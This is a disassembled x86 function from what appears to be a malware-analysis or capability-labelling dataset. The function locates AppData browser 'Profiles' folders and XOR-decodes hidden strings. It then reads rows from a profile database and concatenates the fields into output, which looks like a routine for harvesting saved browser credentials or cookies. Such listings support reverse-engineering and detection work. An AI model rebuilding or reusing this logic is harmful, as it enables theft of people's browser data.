Function at 0x420358
Capabilities:
Get common file path

Disassembly:
mov eax, 0x4675b1
call fcn.004656a0
sub esp, 0x438
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
lea eax, [ebp - 0x340]
push eax
xor ebx, ebx
mov dword [ebp - 0xac], edx
push ebx
push ebx
push 0x1a
mov edi, ebx
mov esi, ecx
push ebx
mov dword [ebp - 0x64], edi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
mov edx, esi
mov ecx, 0x47a244
call fcn.004324c4
mov edx, str.Profiles
mov ecx, eax
call fcn.004324c4
lea ecx, [ebp - 0x340]
push ecx
push eax
lea eax, [ebp - 0x444]
push 0x104
push eax
call fcn.00419f97
mov byte [ebp - 0x68], bl
lea edx, [ebp - 0x444]
push dword [ebp - 0x68]
lea ecx, [ebp - 0x88]
call fcn.0041414c
add esp, 0x14
lea eax, [ebp - 0x88]
mov dword [ebp - 4], ebx
push eax
lea ecx, [ebp - 0xcc]
call fcn.0040b384
lea ecx, [ebp - 0x88]
call fcn.00412448
lea eax, [ebp - 0xcc]
push eax
lea ecx, [ebp - 0x20]
call fcn.0040c654
mov ecx, dword [ebp - 0x20]
mov esi, dword [ebp - 0x1c]
mov dword [ebp - 0x68], ecx
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0x98], esi
lea eax, [ebp - 0xcc]
push eax
lea ecx, [ebp - 0x124]
call fcn.0040c654
mov ecx, dword [ebp - 0x120]
xorps xmm0, xmm0
movlpd qword [ebp - 0xa4], xmm0
mov edx, ebx
mov dword [ebp - 0xa4], edx
mov dword [ebp - 0xa0], ebx
test ecx, ecx
je 0x42045a
call fcn.00409de0
mov edx, ebx
mov byte [ebp - 4], 4
mov eax, dword [ebp - 0x20]
cmp eax, edx
je 0x420bed
lea esi, [eax + 0x20]
mov byte [ebp - 4], 5
mov ecx, esi
call fcn.0040ba07
test al, al
je 0x420bbe
movaps xmm0, xmmword [0x47ce90]
mov edx, ebx
movups xmmword [ebp - 0x59], xmm0
mov byte [ebp - 0x49], bl
mov al, byte [ebp + edx - 0x58]
xor al, byte [ebp - 0x59]
mov byte [ebp + edx - 0x58], al
inc edx
cmp edx, 0xf
jb 0x42048f
push ecx
lea eax, [ebp - 0x88]
mov byte [ebp - 0x49], bl
push eax
mov ecx, esi
call fcn.00412dd2
or edi, 4
mov dword [ebp - 0x64], edi
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x88]
cmp dword [ebp - 0x74], 0x10
lea edx, [ebp - 0x58]
cmovae ecx, dword [ebp - 0x88]
call fcn.004324c4
push 0xf
pop edi
push eax
lea ecx, [ebp - 0x11c]
mov dword [ebp - 0x10c], ebx
mov dword [ebp - 0x108], edi
mov byte [ebp - 0x11c], bl
call fcn.004127d6
lea ecx, [ebp - 0x88]
mov byte [ebp - 4], 8
call fcn.00412665
push 9
pop edx
lea ecx, [ebp - 0xec]
call fcn.004328ec
mov byte [ebp - 4], 9
lea esi, [ebp - 0xec]
cmp dword [ebp - 0xd8], 0x10
cmovae esi, dword [ebp - 0xec]
call fcn.0043295d
mov edx, esi
mov ecx, eax
call fcn.004324c4
push eax
lea ecx, [ebp - 0x104]
mov dword [ebp - 0xf4], ebx
mov dword [ebp - 0xf0], edi
mov byte [ebp - 0x104], bl
call fcn.004127d6
mov byte [ebp - 4], 0xa
lea edx, [ebp - 0x11c]
mov byte [ebp - 0xd4], bl
lea ecx, [ebp - 0x88]
push dword [ebp - 0xd4]
call fcn.004140e0
pop ecx
lea ecx, [ebp - 0x88]
mov byte [ebp - 4], 0xb
call fcn.0040b99e
lea ecx, [ebp - 0x88]
mov byte [ebp - 0x15], al
mov byte [ebp - 4], 0xa
call fcn.00412448
cmp byte [ebp - 0x15], 0
je 0x420b7c
mov byte [ebp - 0xa8], bl
lea edx, [ebp - 0x104]
push dword [ebp - 0xa8]
lea ecx, [ebp - 0x60]
call fcn.004140e0
pop ecx
mov byte [ebp - 4], 0xc
lea edx, [ebp - 0x11c]
mov byte [ebp - 0xb0], bl
lea ecx, [ebp - 0x88]
push dword [ebp - 0xb0]
call fcn.004140e0
pop ecx
push ecx
lea edx, [ebp - 0x60]
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x88]
call fcn.0040b8f6
pop ecx
lea ecx, [ebp - 0x88]
call fcn.00412448
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 0xa
call fcn.00412448
cmp dword [ebp - 0xd8], 0x10
lea edx, [ebp - 0x94]
mov ecx, dword [0x48b944]
lea eax, [ebp - 0xec]
cmovae eax, dword [ebp - 0xec]
mov edi, ebx
push edx
push eax
call ecx
pop ecx
pop ecx
test eax, eax
jne 0x420b7c
movaps xmm0, xmmword [0x47cf60]
mov ecx, ebx
movups xmmword [ebp - 0x168], xmm0
mov dword [ebp - 0x128], 0x25333f
movaps xmm0, xmmword [0x47cee0]
movups xmmword [ebp - 0x158], xmm0
movaps xmm0, xmmword [0x47cfb0]
movups xmmword [ebp - 0x148], xmm0
movaps xmm0, xmmword [0x47d000]
movups xmmword [ebp - 0x138], xmm0
mov al, byte [ebp + ecx - 0x167]
xor al, byte [ebp - 0x168]
mov byte [ebp + ecx - 0x167], al
inc ecx
cmp ecx, 0x42
jb 0x420680
mov eax, dword [0x48b954]
lea ecx, [ebp - 0x14]
push ebx
push ecx
push 0xffffffffffffffff
lea ecx, [ebp - 0x167]
mov byte [ebp - 0x125], bl
push ecx
push dword [ebp - 0x94]
call eax
add esp, 0x14
mov esi, eax
push ecx
push ecx
lea ecx, [ebp - 0x23c]
call fcn.004114e3
mov byte [ebp - 4], 0xe
test esi, esi
jne 0x420b4f
push dword [ebp - 0x14]
mov eax, dword [0x48b948]
call eax
pop ecx
cmp eax, 0x64
jne 0x4209d5
mov eax, dword [0x48b968]
push ebx
push dword [ebp - 0x14]
call eax
pop ecx
pop ecx
push 1
push dword [ebp - 0x14]
mov dword [ebp - 0x90], eax
mov eax, dword [0x48b968]
call eax
pop ecx
pop ecx
push 2
push dword [ebp - 0x14]
mov dword [ebp - 0xbc], eax
mov eax, dword [0x48b968]
call eax
pop ecx
pop ecx
mov ecx, dword [0x48b968]
push 3
push dword [ebp - 0x14]
mov dword [ebp - 0xc0], eax
call ecx
pop ecx
pop ecx
push 4
push dword [ebp - 0x14]
mov dword [ebp - 0xc4], eax
mov eax, dword [0x48b968]
call eax
pop ecx
pop ecx
push 5
push dword [ebp - 0x14]
mov dword [ebp - 0xb4], eax
mov eax, dword [0x48b968]
call eax
pop ecx
pop ecx
mov ecx, dword [0x48b998]
inc edi
push 0xc
mov dword [ebp - 0x70], edi
mov edi, ebx
mov dword [ebp - 0x6c], eax
pop esi
mov eax, dword [0x48b99c]
sub eax, ecx
cdq
idiv esi
cmp edi, eax
jae 0x420830
mov eax, dword [0x48b98c]
cmp dword [eax + edi*4], ebx
jne 0x42082a
mov esi, ebx
mov dword [ebp - 0x8c], ebx
imul edx, edi, 0xc
mov dword [ebp - 0xd0], 0x18
mov dword [ebp - 0xb8], edx
mov eax, dword [edx + ecx + 4]
sub eax, dword [edx + ecx]
cdq
idiv dword [ebp - 0xd0]
cmp esi, eax
jae 0x420827
push dword [ebp - 0x90]
lea ecx, [ebp - 0x60]
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x4c], 0xf
mov byte [ebp - 0x60], bl
call fcn.004127d6
mov eax, dword [0x48b998]
mov edx, dword [ebp - 0xb8]
imul ecx, esi, 0x18
push ebx
add ecx, dword [edx + eax]
push ecx
lea ecx, [ebp - 0x60]
call fcn.00411b0e
lea ecx, [ebp - 0x60]
mov esi, eax
call fcn.00412665
cmp esi, 0xffffffff
je 0x42080f
mov eax, dword [0x48b98c]
mov dword [eax + edi*4], 1
mov esi, dword [ebp - 0x8c]
mov ecx, dword [0x48b998]
inc esi
mov dword [ebp - 0x8c], esi
jmp 0x420799
push 0xc
pop esi
inc edi
jmp 0x420771
mov edx, dword [ebp - 0x90]
mov ecx, 0x47734b
call fcn.004324c4
mov ecx, eax
mov byte [ebp - 0x33], bl
mov dl, 0x5f
mov al, 0x56
xor al, dl
mov byte [ebp - 0x35], dl
lea edx, [ebp - 0x34]
mov byte [ebp - 0x34], al
call fcn.004324c4
mov esi, eax
mov dword [ebp - 0x2c], 0x52555307
mov dl, 7
mov word [ebp - 0x28], 0x42
mov ecx, ebx
xor byte [ebp + ecx - 0x2b], dl
inc ecx
cmp ecx, 4
jae 0x42087b
mov dl, byte [ebp - 0x2c]
jmp 0x42086c
lea edx, [ebp - 0x2b]
mov byte [ebp - 0x27], bl
mov ecx, esi
call fcn.004324c4
mov ecx, eax
mov byte [ebp - 0x36], bl
mov dl, 0x17
mov al, 0x1e
xor al, dl
mov byte [ebp - 0x38], dl
lea edx, [ebp - 0x37]
mov byte [ebp - 0x37], al
call fcn.004324c4
mov edx, dword [ebp - 0xbc]
mov ecx, eax
call fcn.004324c4
mov ecx, eax
mov byte [ebp - 0x3b], 0xb
mov al, 2
mov byte [ebp - 0x39], bl
xor al, 0xb
lea edx, [ebp - 0x3a]
mov byte [ebp - 0x3a], al
call fcn.004324c4
push 0x477dc0
push dword [ebp - 0xc0]
mov esi, eax
call fcn.00443000
pop ecx
pop ecx
mov ecx, ebx
test eax, eax
jne 0x420906
mov dl, 0x4f
mov dword [ebp - 0x26], 0x1a1d1b4f
mov word [ebp - 0x22], 0xa
xor byte [ebp + ecx - 0x25], dl
inc ecx
cmp ecx, 4
jae 0x4208fe
mov dl, byte [ebp - 0x26]
jmp 0x4208ef
mov byte [ebp - 0x21], bl
lea edx, [ebp - 0x25]
jmp 0x42092d
mov dl, 0x57
mov dword [ebp - 0x1f], 0x1b161157
mov word [ebp - 0x1b], 0x1204
mov byte [ebp - 0x19], bl
xor byte [ebp + ecx - 0x1e], dl
inc ecx
cmp ecx, 5
jae 0x420927
mov dl, byte [ebp - 0x1f]
jmp 0x420918
mov byte [ebp - 0x19], bl
lea edx, [ebp - 0x1e]
mov ecx, esi
call fcn.004324c4
mov ecx, eax
mov byte [ebp - 0x3e], 0xd
mov al, 4
mov byte [ebp - 0x3c], bl
xor al, 0xd
lea edx, [ebp - 0x3d]
mov byte [ebp - 0x3d], al
call fcn.004324c4
mov edx, dword [ebp - 0xc4]
mov ecx, eax
call fcn.004324c4
mov ecx, eax
mov byte [ebp - 0x41], 0x1d
mov al, 0x14
mov byte [ebp - 0x3f], bl
xor al, 0x1d
lea edx, [ebp - 0x40]
mov byte [ebp - 0x40], al
call fcn.004324c4
mov edx, dword [ebp - 0xb4]
mov ecx, eax
call fcn.004324c4
mov ecx, eax
mov byte [ebp - 0x44], 0x3f
mov al, 0x36
mov byte [ebp - 0x42], bl
xor al, 0x3f
lea edx, [ebp - 0x43]
mov byte [ebp - 0x43], al
call fcn.004324c4
mov edx, dword [ebp - 0x6c]
mov ecx, eax
call fcn.004324c4
cmp dword [0x487fb8], 0x10
mov edx, 0x487fa4
mov ecx, eax
cmovae edx, dword [0x487fa4]
call fcn.004324c4
mov edx, eax
lea ecx, [ebp - 0x22c]
call fcn.00413108
inc dword [0x48b978]
mov edi, dword [ebp - 0x70]
jmp 0x4206d9
push dword [ebp - 0xac]
lea ecx, [ebp - 0x60]
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x4c], 0xf
mov byte [ebp - 0x60], bl
call fcn.004127d6
mov byte [ebp - 4], 0xf
lea edx, [ebp - 0x60]
cmp dword [ebp - 0x4c], 0x10
mov ecx, 0x47734b
cmovae edx, dword [ebp - 0x60]
call fcn.004324c4
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 0xe
mov esi, eax
call fcn.00412665
mov cl, 0x59
mov byte [ebp - 0x45], bl
mov al, 6
mov byte [ebp - 0x47], cl
xor al, cl
lea edx, [ebp - 0x46]
mov ecx, esi
mov byte [ebp - 0x46], al
call fcn.004324c4
mov ecx, dword [ebp - 0x68]
mov esi, eax
lea eax, [ebp - 0x18c]
add ecx, 0x20
push eax
call fcn.0040a97e
push ecx
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 0x10
push ecx
mov ecx, eax
call fcn.00412dd2
mov edi, dword [ebp - 0x64]
or edi, 0x800
mov dword [ebp - 0x64], edi
mov byte [ebp - 4], 0x11
lea edx, [ebp - 0x60]
cmp dword [ebp - 0x4c], 0x10
mov ecx, esi
cmovae edx, dword [ebp - 0x60]
call fcn.004324c4
lea ecx, [ebp - 0x60]
mov esi, eax
call fcn.00412665
lea ecx, [ebp - 0x18c]
mov byte [ebp - 4], 0xe
call fcn.00412448
mov dl, 0x64
mov dword [ebp - 0x32], 0x1c104a64
mov word [ebp - 0x2e], 0x10
mov ecx, ebx
xor byte [ebp + ecx - 0x31], dl
inc ecx
cmp ecx, 4
jae 0x420aaf
mov dl, byte [ebp - 0x32]
jmp 0x420aa0
lea edx, [ebp - 0x31]
mov byte [ebp - 0x2d], bl
mov ecx, esi
call fcn.004324c4
mov dword [ebp - 0x70], eax
lea ecx, [ebp - 0x224]
lea eax, [ebp - 0x88]
push eax
call fcn.004122a1
or edi, 0x4000
mov dword [ebp - 0x64], edi
mov byte [ebp - 4], 0x12
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x6c], eax
test eax, eax
je 0x420b40
cmp dword [ebp - 0x74], 0x10
lea edi, [ebp - 0x88]
movaps xmm0, xmmword [0x47d060]
mov esi, ebx
cmovae edi, dword [ebp - 0x88]
movups xmmword [ebp - 0x5b], xmm0
mov word [ebp - 0x4b], 0x7d52
mov byte [ebp - 0x49], bl
mov cl, byte [ebp - 0x5b]
xor byte [ebp + esi - 0x5a], cl
inc esi
cmp esi, 0x11
jb 0x420b0f
mov edx, dword [ebp - 0x70]
lea ecx, [ebp - 0x5a]
mov byte [ebp - 0x49], bl
call fcn.004324c4
mov ecx, dword [0x48b988]
mov edx, eax
push 3
push dword [ebp - 0x6c]
push edi
call fcn.0043b761
add esp, 0xc
lea ecx, [ebp - 0x88]
mov byte [ebp - 4], 0xe
call fcn.00412665
push dword [ebp - 0x14]
call dword [0x48b974]
pop ecx
push dword [ebp - 0x94]
call dword [0x48b964]
pop ecx
lea ecx, [ebp - 0x104]
call fcn.0040bed4
lea ecx, [ebp - 0x23c]
call fcn.0040d319
lea ecx, [ebp - 0x104]
call fcn.00412665
lea ecx, [ebp - 0xec]
call fcn.00412665
lea ecx, [ebp - 0x11c]
call fcn.00412665
jmp 0x420bbe
lea ecx, [ebp - 0x9c]
mov dword [ebp - 4], 4
call fcn.0040b3d1
mov eax, dword [ebp - 0x9c]
mov esi, dword [ebp - 0x98]
mov edi, dword [ebp - 0x64]
mov edx, dword [ebp - 0xa4]
mov dword [ebp - 0x68], eax
jmp 0x420461
test esi, esi
je 0x420bf8
mov ecx, esi
call fcn.00409de0
mov ecx, dword [ebp - 0xc8]
test ecx, ecx
je 0x420c07
call fcn.00409de0
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret